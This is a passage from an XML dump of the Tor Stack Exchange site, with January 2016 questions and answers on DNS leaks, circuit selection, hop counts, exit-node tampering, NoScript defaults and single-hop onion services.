LastActivityDate="2020-09-20T13:02:28.373" Title="Proxychain not resolving the host" Tags="|tor-browser-bundle|torsocks|privoxy|" AnswerCount="1" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="9458" PostTypeId="2" ParentId="9452" CreationDate="2016-01-14T22:18:40.943" Score="0" Body="&lt;p&gt;No differences at all - they're just using a &quot;clearnet&quot;=&quot;direct IP routing&quot; or &quot;darknet&quot;=&quot;onion packet routing&quot; respectively. And - dot-onion sites can use TCP only, because Tor does not support UDP&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-01-14T22:18:40.943" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9459" PostTypeId="2" ParentId="9456" CreationDate="2016-01-14T22:21:19.690" Score="1" Body="&lt;p&gt;To fix all the DNS issues like that I do recommend you to use a local resolver configured for using Tor as a transport, but serving your system as usual. I'm using ISC Bind, works like a charm. Don't fprget to edit &lt;code&gt;/etc/resolv.conf&lt;/code&gt; and so forth.&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-01-14T22:21:19.690" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="9460" PostTypeId="1" CreationDate="2016-01-15T01:54:38.917" Score="5" ViewCount="696" Body="&lt;p&gt;Making an arbitrary number of new identities will eventually cause the circuit view in Torbutton to show the wrong exit node.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/uRiTV.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/uRiTV.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is a screenshot I took to show the problem. Notice Torbutton thinks my IP address is 104.167.102.244 and in Canada. check.torproject.org says it is 195.154.111.124 Atlas says that exit is in France&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is not related to architecture or OS nor to my network or even to machines owned by me. Also the problem is not limited to check.torproject.org and it has nothing to do with JavaScript.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When testing this I found that the number of new identities that are needed to reproduce this varies. Sometimes it happened first time other times I spent 10-15 minutes creating new identities in order to 'break' circuit view.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This has been happening over multiple versions of Tor Browser and doesn't seem to affect anonymity because the ip addresses are always Tor nodes. So it is &lt;strong&gt;not&lt;/strong&gt; 'breaking Tor', just the circuit view. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this a known (or unknown) problem with TorButton's circuit view, or have I misconfigured something? Or something else entirely?&lt;/p&gt;&#xA;" OwnerUserId="7883" LastActivityDate="2019-05-03T22:02:40.593" Title="Why does Torbutton circuit view not consistently show the correct exit node?" Tags="|exit-relays|circuit|tor-button|tor-browser-bundle|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="9461" PostTypeId="2" ParentId="1686" CreationDate="2016-01-15T04:32:47.377" Score="0" Body="&lt;p&gt;No, you won't be unmasked. There are two ways of developing of the situation when your VPN is dead, and it depends on how Tor uses your VPN :&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;VPN adds default route&lt;/strong&gt; So when the route fails, your Tor instance will just re-connect to the network(Tor network) and you will see just a small lag&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;VPN is a proxy for Tor&lt;/strong&gt; So when the upstream proxy server fails, Tor should stop working and you will see &quot;no connection&quot; page&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;But in both cases all your communications with Tor are in your private AND protected segment(localhost or LAN), so ISP is technically unable to see your queries to Tor, because Tor always stays alive and handles them. That's it! =)&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-01-15T04:32:47.377" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9462" PostTypeId="2" ParentId="3375" CreationDate="2016-01-15T04:37:05.547" Score="1" Body="&lt;p&gt;ONLY &lt;em&gt;curl &lt;strong&gt;--socks5-hostname&lt;/strong&gt; 127.0.0.1:9150 &lt;a href=&quot;http://example.com&quot; rel=&quot;nofollow&quot;&gt;http://example.com&lt;/a&gt;&lt;/em&gt; because to not-leak-dns you must not doing DNS queries =) and --socks5-hostname clause forces NOT using resolvers at all, and passing the raw hostname to the proxy to resolve. Forget 'torificators' if a program/library supports total avoiding DNS queries.&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-01-15T04:37:05.547" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9464" PostTypeId="2" ParentId="9452" CreationDate="2016-01-15T09:44:27.157" Score="1" Body="&lt;p&gt;The clearnet sites that appear on such wikis are (presumably) sites that are restricted in certain areas of the world. For example, the search engines in China don't index websites that the Chinese government don't want people to visit. In addition, any connections to those websites are blocked.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the websites aren't indexed by the search engines, then people can't search for them and find them (i.e. they are &lt;em&gt;hidden&lt;/em&gt; from those people, even though they're on the clearnet). These wikis provide a way of finding those sites, regardless of whether they're hidden services or clearnet websites. Tor then also allows a way to circumvent any blocks on connection.&lt;/p&gt;&#xA;" OwnerUserId="1730" LastActivityDate="2016-01-15T09:44:27.157" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9465" PostTypeId="1" CreationDate="2016-01-15T13:19:54.740" Score="1" ViewCount="77" Body="&lt;p&gt;All of a sudden almost every site, including this one cloudflares me, some I have to refresh the Tor circuit over 50 times to get it to work, and then it it dies within a few mins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The thing is, this started very suddenly. Tor was great to browse on, then one day, I can hardly load a website.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It must mean maybe the latest browser bundle or cloudflare update, what else could be causing it. I sit there trying circuit after circuit. So frustrating.&lt;/p&gt;&#xA;" OwnerUserId="10516" LastActivityDate="2016-01-16T01:18:08.300" Title="Is a Tor or cloudflare update the reason I suddenly getting cloudflared to death?" Tags="|tor-browser-bundle|circuit|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9466" PostTypeId="2" ParentId="9465" CreationDate="2016-01-15T18:40:48.923" Score="1" Body="&lt;p&gt;It's a Cloudfare update, they're blocking some Tor exit nodes for bot traffic or because the exit nodes are yelling, that they're exit nodes. Find a confident one =)&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-01-15T18:40:48.923" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9469" PostTypeId="1" AcceptedAnswerId="9477" CreationDate="2016-01-16T06:33:07.040" Score="0" ViewCount="214" Body="&lt;p&gt;I am finding the following link, but it's quit old, and not sure whether it's usable. Anybody knows how to use 2 hop?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://grepular.com/Tor_Circuits_with_Two_Hops_on_Ubuntu&quot; rel=&quot;nofollow&quot;&gt;https://grepular.com/Tor_Circuits_with_Two_Hops_on_Ubuntu&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="10523" LastActivityDate="2016-01-17T23:14:04.837" Title="how to set up a two hop tor since I don't need strong anonymous" Tags="|configuration|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9470" PostTypeId="1" CreationDate="2016-01-16T13:45:31.470" Score="1" ViewCount="65" Body="&lt;p&gt;I am not a programmer or an IT insider, &#xA;I tested your browser by creating different accounts and then publishing reviews for a same company, however, Trustpilot instantly flagged my reviews because they saw something identical to the other review. I am following all the rules on deleting cookies etc, but someway I can not truely browse anomously because Trustpas.com for instance instantly found out.&#xA;Dave&lt;/p&gt;&#xA;" OwnerUserId="10528" LastActivityDate="2016-02-01T02:43:49.643" Title="Trustpas.com does detect somehow your identity" Tags="|anonymity|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9472" PostTypeId="1" CreationDate="2016-01-16T20:21:50.047" Score="5" ViewCount="1013" Body="&lt;p&gt;I can select exit node by &lt;code&gt;torrc&lt;/code&gt; option.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can select entry node, similar way, right?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can I select middle node?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In other word, can I select full chain by hand in torrc? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Three fingerprints and nothing more...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;EntryNodes fingerprint#1&#xA;? &#xA;ExitNodes fingerprint#3&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="10531" LastActivityDate="2016-04-20T21:54:36.913" Title="I can select exit node, I can select entry node. Can I select middle node?" Tags="|configuration|" AnswerCount="2" CommentCount="2" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9473" PostTypeId="1" CreationDate="2016-01-16T21:48:51.823" Score="2" ViewCount="3873" Body="&lt;p&gt;I been using Orbot since today morning and it was working just fine. But, since I recieved an update today afternoon it won't work. Orbot doesn't connect to the VPN at all. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I &lt;strong&gt;activated&lt;/strong&gt; this feature and it didn't worked. I also tried the &lt;strong&gt;cancel&lt;/strong&gt; button and it would just not work. Any idea how might I fix it? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Should I need to post the side logs which we get in the app? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/WFMB7.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/WFMB7.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="10533" LastActivityDate="2016-12-03T18:02:05.247" Title="Orbot Apps VPN Mode" Tags="|orbot|android|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9476" PostTypeId="1" CreationDate="2016-01-17T22:22:35.400" Score="1" ViewCount="102" Body="&lt;p&gt;How can one avoid the following scenario?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One downloads an html from &lt;a href=&quot;http://www.example.com&quot; rel=&quot;nofollow&quot;&gt;http://www.example.com&lt;/a&gt;. The exit tor node substitutes it with a malicious js file which will cause a buffer overflow or something and give the computer a virus.&lt;/p&gt;&#xA;" OwnerUserId="10539" LastActivityDate="2016-01-19T08:52:52.570" Title="How do I know that a tor node won't give me malicious code?" Tags="|malware|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9477" PostTypeId="2" ParentId="9469" CreationDate="2016-01-17T23:14:04.837" Score="3" Body="&lt;p&gt;If you're not interested in remaining anonymous then a VPN or standalone proxy would probably suit your needs better. (It'd probably be faster, for a start.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The instructions you've linked to &lt;em&gt;are&lt;/em&gt; a bit old, and it might be easier and cleaner to build from the source directly, rather than using the package manager. To build from source, have a look at &lt;a href=&quot;https://tor.stackexchange.com/questions/75/how-can-i-install-tor-from-the-source-code-in-the-git-repository&quot;&gt;this&lt;/a&gt; thread.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, what you're trying to do has been discussed in the past. &lt;a href=&quot;https://tor.stackexchange.com/questions/1312/how-to-decrease-number-of-tor-hops?rq=1.&quot;&gt;This&lt;/a&gt; thread concludes that it's probably a bad idea. It also mentions the &lt;code&gt;AllowSingleHopCircuits&lt;/code&gt; config option, but that requires you to connect to a relay with &lt;code&gt;AllowSingleHopExits&lt;/code&gt; set, and there probably aren't many of them...&lt;/p&gt;&#xA;" OwnerUserId="1730" LastActivityDate="2016-01-17T23:14:04.837" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9478" PostTypeId="1" CreationDate="2016-01-18T01:18:11.297" Score="1" ViewCount="433" Body="&lt;p&gt;I have just downloaded Tor Browser in Debian GNU/Linux system, but after an hour of use, the window does not maximize. When clicking on the maximize button or double-clicking the title bar, in a matter of 1/3 of second the window maximizes but comes back to normal. Before it happened I have installed Flash Plugin and enabled it in the configurations, then it started.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For now I need to drag the window and touch the top of the screen for the browser maximize in the laterals, because I am using Xfce, and just grab the edge of the window and pull down, but I would like to know what could have happened, if it has a bug with Flash, my system or what.&lt;/p&gt;&#xA;" OwnerUserId="10541" LastActivityDate="2016-01-19T18:31:23.803" Title="Tor Browser is not maximizing" Tags="|tor-browser-bundle|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9479" PostTypeId="1" CreationDate="2016-01-18T07:51:29.780" Score="3" ViewCount="4183" Body="&lt;p&gt;I just changed tor bridge type from obfs3 to obfs4. What's the meaning of the bold sentence? BTW, Tor connection is fine. (Win7 user)&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;2016-01-18  7:26:51.800 [NOTICE] new bridge descriptor 'xxxxx' (fresh): $xxxxxxxxxxxxxxxxxxxxx~xxxx at xxx.xxx.xxx.xxx&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;2016-01-18  7:26:51.800 [NOTICE] &lt;strong&gt;I learned some more directory information, but not enough to build a circuit: We have no usable consensus.&lt;/strong&gt; &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;2016-01-18  7:26:56.200 [NOTICE] Bootstrapped 80%: Connecting to the Tor network &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="10544" LastEditorUserId="88" LastEditDate="2016-04-17T21:21:38.593" LastActivityDate="2016-04-17T21:21:38.593" Title="What does the log line &quot;not enough directory information to build a circuit&quot; mean?" Tags="|bridge|pluggable-transports|obfsproxy|consensus|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9480" PostTypeId="2" ParentId="9479" CreationDate="2016-01-18T08:58:26.997" Score="1" Body="&lt;p&gt;It is just normal. It means Tor client did not finish fetching consensus, and as soon as it finishes, it starts to build circuits.&lt;/p&gt;&#xA;" OwnerUserId="4894" LastActivityDate="2016-01-18T08:58:26.997" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9481" PostTypeId="2" ParentId="1225" CreationDate="2016-01-18T11:07:23.103" Score="1" Body="&lt;p&gt;Some addons can be extremely helpful, f.ex. &lt;a href=&quot;https://addons.mozilla.org/de/firefox/addon/requestpolicy/&quot; rel=&quot;nofollow noreferrer&quot;&gt;RequestPolicy&lt;/a&gt;. As of &lt;a href=&quot;https://superuser.com/questions/137931/can-websites-see-my-firefox-addons&quot;&gt;https://superuser.com/questions/137931/can-websites-see-my-firefox-addons&lt;/a&gt;, you need to distinguish plugins (Java, Flash, etc) and addons.&lt;/p&gt;&#xA;&lt;h3&gt;Plugins&lt;/h3&gt;&#xA;&lt;p&gt;They can easily be detected.&lt;/p&gt;&#xA;&lt;h3&gt;Addons&lt;/h3&gt;&#xA;&lt;p&gt;Detectable using hacks.&lt;/p&gt;&#xA;&lt;p&gt;Concerning malicious addons: The Mozilla crew is going in the direction of certifying addons.&lt;/p&gt;&#xA;&lt;p&gt;@Rhin's answer recommended &amp;quot;reading through the source code&amp;quot;.&lt;/p&gt;&#xA;&lt;p&gt;This is, unfortunately, correct, but you might be able to narrow down the search for certain &lt;code&gt;require(...)&lt;/code&gt; lines which might spell problems.&lt;/p&gt;&#xA;&lt;p&gt;The &lt;a href=&quot;https://developer.mozilla.org/en-US/Add-ons/SDK/High-Level_APIs/page-worker&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;page-worker&lt;/code&gt;&lt;/a&gt;, &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/SDK/High-Level_APIs/page-mod&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;page-mod&lt;/code&gt;&lt;/a&gt;, &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/SDK/High-Level_APIs/tabs&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;tabs&lt;/code&gt;&lt;/a&gt; and &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/SDK/Low-Level_APIs/chrome&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;chrome&lt;/code&gt;&lt;/a&gt; modules certainly allow an addon to access some other website. Other modules do not have these capabilities, such as f.ex. &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/SDK/High-Level_APIs/timers&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;timers&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="9411" LastEditorUserId="-1" LastEditDate="2020-06-18T08:24:54.133" LastActivityDate="2016-01-18T11:40:56.577" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9482" PostTypeId="1" AcceptedAnswerId="9484" CreationDate="2016-01-18T11:09:40.713" Score="1" ViewCount="72" Body="&lt;p&gt;I read this in some book : &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;All  connections  between  the  first  relay  and  the  exit  relay &#xA;  are  encrypted,  and each  relay along  the  way knows  only the &#xA;  previous  and  the  next hop.  No  one  knows  the complete pathway in&#xA;  this architecture, except attacks which reveal some of them&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The first question: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;he said no one knows the whole path, but the middle relay know the previous and the next so, this is the full path, right?&lt;/p&gt;&#xA;" OwnerUserId="10546" LastEditorUserId="9411" LastEditDate="2016-01-21T22:52:03.243" LastActivityDate="2016-01-21T22:52:03.243" Title="tor relays question?" Tags="|tor-browser-bundle|anonymity|relays|middle|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9483" PostTypeId="2" ParentId="8832" CreationDate="2016-01-18T11:10:01.283" Score="3" Body="&lt;p&gt;As of &lt;a href=&quot;https://superuser.com/questions/137931/can-websites-see-my-firefox-addons&quot;&gt;https://superuser.com/questions/137931/can-websites-see-my-firefox-addons&lt;/a&gt;, &lt;strong&gt;there is no default API to detect addons, &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/API/NavigatorPlugins/plugins&quot; rel=&quot;nofollow noreferrer&quot;&gt;as there is for plugins&lt;/a&gt;&lt;/strong&gt;. As &lt;a href=&quot;https://tor.stackexchange.com/a/8848/9411&quot;&gt;stated&lt;/a&gt;, malicious addons can certainly decloak you, but normal, heavily-used addons should have received some vetting, so should be a bit more trustworthy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have not examined the addons you listed, though.&lt;/p&gt;&#xA;" OwnerUserId="9411" LastEditorUserId="-1" LastEditDate="2017-04-13T12:59:11.733" LastActivityDate="2016-07-21T18:02:43.007" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9484" PostTypeId="2" ParentId="9482" CreationDate="2016-01-18T11:27:19.793" Score="0" Body="&lt;p&gt;The middle knows the &lt;em&gt;entry&lt;/em&gt; and &lt;em&gt;exit nodes&lt;/em&gt;, but does not know&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;who connects to Tor&lt;/li&gt;&#xA;&lt;li&gt;whom does it connect to.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="9411" LastActivityDate="2016-01-18T11:27:19.793" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9485" PostTypeId="1" AcceptedAnswerId="9491" CreationDate="2016-01-18T11:28:12.950" Score="1" ViewCount="1701" Body="&lt;p&gt;Is there any way to reduce the length of a hidden service's path to the rendezvous point?&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;code&gt;Bob's hidden service &amp;lt;---&amp;gt; Introduction Point&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;Alice &amp;lt;---&amp;gt; Introduction Point&lt;/code&gt; tell Bob to contact me at &lt;code&gt;Rendezvous Point&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;Bob &amp;lt;-&amp;gt; Rendezvous point&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Sometimes, Bob's hidden service does not need anonymity, but wants to be accessible via Tor anyways. (For example, &lt;a href=&quot;http://ahmia.fi&quot; rel=&quot;nofollow noreferrer&quot;&gt;ahmia.fi&lt;/a&gt; is also accessible as &lt;a href=&quot;http://msydqstlz2kzerdg.onion&quot; rel=&quot;nofollow noreferrer&quot;&gt;msydqstlz2kzerdg.onion&lt;/a&gt;). In such a case, it might be beneficial to limit the length of Bob's circuit to 1 (as indicated by the length of the arrow in step 3). Is that possible?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is similar to &lt;a href=&quot;https://tor.stackexchange.com/questions/1312/how-to-decrease-number-of-tor-hops?rq=1&quot;&gt;How to decrease number of Tor hops?&lt;/a&gt;. and &lt;a href=&quot;https://tor.stackexchange.com/questions/6271/accessing-tor-hidden-services-over-a-single-hop-circuit/6386#6386&quot;&gt;Accessing Tor hidden services over a single hop circuit&lt;/a&gt;, but those wanted to limit the number of client hops. This question is about the number of server hops.&lt;/p&gt;&#xA;" OwnerUserId="9411" LastEditorUserId="-1" LastEditDate="2017-04-13T12:59:11.733" LastActivityDate="2020-04-15T12:39:17.360" Title="Decrease number of hidden service hops?" Tags="|onion-services|one-hop|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9486" PostTypeId="1" CreationDate="2016-01-18T11:30:52.243" Score="-1" ViewCount="1113" Body="&lt;p&gt;I am now running tails. The latest version. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Before Xmas I could browse .onion sites easily just by downloading the tor browser on to my linux system. Since the New Year, I have found some sites are not available and I get a banner across the top of the pages of those sites which are available, from Tor2web.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Research tells me that tor2web is a web proxy service for tor. I didn't install it, or ask for it and it is the same problem on all devices I use on my network. Can I assume that my ISP is now directing tor traffic through Tor2web?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Research also suggests there are many other proxy sites for tor out there and they convert my .onion addresses to cached .onion.to addresses (or a similar extension). Research suggests that I should the remove the extra .to extension and a direct connection can be made. That didn't work for me. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have used bridges with obfs4 and still get to onion.to sites. I have now installed Tails (rather than just the tor browser) with bridges and obfs4 and I  still cannot get through to .onion sites, I can only get onion.to sites. Does anyone have any more ideas of what is going on and how to solve it, that is, to get a direct Tor connection to .onion sites?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have scoured for answers to this, but can't find any. Let me know if you can direct me to a comprehensive solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="10545" LastActivityDate="2016-01-19T18:42:59.103" Title="All connection default to .onion.to Why cant I get just .onion" Tags="|tails|onion-routing|" AnswerCount="1" CommentCount="2" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9487" PostTypeId="2" ParentId="9476" CreationDate="2016-01-18T11:51:44.073" Score="0" Body="&lt;p&gt;Have a look at &lt;a href=&quot;https://security.stackexchange.com/tags/man-in-the-middle/info&quot;&gt;https://security.stackexchange.com/tags/man-in-the-middle/info&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The default solution is to make sure the website is accessed via HTTPS, or to check GPG signatures obtained from a trusted source.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you asked about protocol downgrade attacks and &lt;a href=&quot;https://en.wikipedia.org/wiki/HTTP_Strict_Transport_Security&quot; rel=&quot;nofollow noreferrer&quot;&gt;HSTS&lt;/a&gt;: As of &lt;a href=&quot;https://www.eff.org/files/Changelog.txt&quot; rel=&quot;nofollow noreferrer&quot;&gt;version 4.0.2&lt;/a&gt;, &lt;a href=&quot;https://www.eff.org/https-everywhere/atlas/&quot; rel=&quot;nofollow noreferrer&quot;&gt;HTTPS Everywhere&lt;/a&gt; (which should be baked into the standard Tor-Browser-Bundle) includes a HTTP Nowhere mode, which should avoid this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additionally, using NoScript with a default policy of block combined with &lt;a href=&quot;https://addons.mozilla.org/de/firefox/addon/requestpolicy/&quot; rel=&quot;nofollow noreferrer&quot;&gt;RequestPolicy&lt;/a&gt; might mitigate that attack.&lt;/p&gt;&#xA;" OwnerUserId="9411" LastEditorUserId="-1" LastEditDate="2017-03-17T10:46:11.210" LastActivityDate="2016-01-19T08:52:52.570" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9488" PostTypeId="2" ParentId="9485" CreationDate="2016-01-18T13:52:40.757" Score="2" Body="&lt;p&gt;Never decrease the hop length, because it's a purpose of having Tor entry point : to be censorship-resistant. If you will decrease your hidden service behaviour, you will not just decrease it's anonymity, but also make connections to it &quot;fingerprintable&quot;=detectable, and - as a consecuence - censorable&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-01-18T13:52:40.757" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="9489" PostTypeId="2" ParentId="9476" CreationDate="2016-01-18T23:58:53.690" Score="1" Body="&lt;p&gt;@user But the exit node can block https, and unless HSTS is enabled, one will go to the &quot;http&quot; version (which is conveniently provided by the malicious exit node), and then again push a JS (or PNG/SVG/HTTP) exploit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know that it's not safe to use http over tor for any private information (login, etc.), but here, the exit node can push a virus &lt;em&gt;directly&lt;/em&gt; from &lt;em&gt;any&lt;/em&gt; page&lt;/p&gt;&#xA;" OwnerUserId="10549" LastActivityDate="2016-01-18T23:58:53.690" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9490" PostTypeId="2" ParentId="7269" CreationDate="2016-01-19T00:02:37.527" Score="0" Body="&lt;blockquote&gt;&#xA;&lt;p&gt;Why is NoScript configured to allow JavaScript by default in Tor Browser? Isn't that unsafe?&#xA;We configure NoScript to allow JavaScript by default in Tor Browser because many websites will not work with JavaScript disabled. Most users would give up on Tor entirely if a website they want to use requires JavaScript, because they would not know how to allow a website to use JavaScript (or that enabling JavaScript might make a website work).&lt;/p&gt;&#xA;&lt;p&gt;There's a tradeoff here. On the one hand, we should leave JavaScript enabled by default so websites work the way users expect. On the other hand, we should disable JavaScript by default to better protect against browser vulnerabilities ( not just a theoretical concern!). But there's a third issue: websites can easily determine whether you have allowed JavaScript for them, and if you disable JavaScript by default but then allow a few websites to run scripts (the way most people use NoScript), then your choice of whitelisted websites acts as a sort of cookie that makes you recognizable (and distinguishable), thus harming your anonymity.&lt;/p&gt;&#xA;&lt;p&gt;Ultimately, we want the default Tor bundles to use a combination of firewalls (like the iptables rules in Tails) and sandboxes to make JavaScript not so scary. In the shorter term, TBB 3.0 will hopefully allow users to choose their JavaScript settings more easily — but the partitioning concern will remain.&lt;/p&gt;&#xA;&lt;p&gt;Until we get there, feel free to leave JavaScript on or off depending on your security, anonymity, and usability priorities.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.torproject.org/docs/faq.html.en#TBBJavaScriptEnabled&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.torproject.org/docs/faq.html.en#TBBJavaScriptEnabled&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="10550" LastEditorUserId="-1" LastEditDate="2020-06-18T08:24:54.133" LastActivityDate="2016-01-19T00:02:37.527" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9491" PostTypeId="2" ParentId="9485" CreationDate="2016-01-19T00:16:17.060" Score="5" Body="&lt;p&gt;There are several amendments to Tor being researched to enable this functionality; the functionality does reduce/remove the anonymity of the server but sometimes that is okay, e.g. if (like Facebook) you run a publicly attested, non-hidden &quot;onion service&quot;.*&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The amendments are:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&quot;Single Onion Services&quot; &lt;a href=&quot;https://gitweb.torproject.org/torspec.git/plain/proposals/252-single-onion.txt&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://gitweb.torproject.org/torspec.git/plain/proposals/252-single-onion.txt&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&quot;Rendezvous Single Onion Services&quot; &lt;a href=&quot;https://gitweb.torproject.org/torspec.git/plain/proposals/260-rend-single-onion.txt&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://gitweb.torproject.org/torspec.git/plain/proposals/260-rend-single-onion.txt&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;None of these are (at time of writing, January 2016) yet sedimented into the main Tor codebase, but they should be in the next few weeks/months.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As the above commenter almost suggests: you should consider carefully before enabling these features.  From my experience running a publicly attested Onion, reduced server hop count does improve latency and makes Onion Services as performant, possibly a fraction more performant, than normal Tor. Your mileage may vary.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;*Disclosure: I led the team which built the Facebook Onion Service&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="10551" LastEditorUserId="28374" 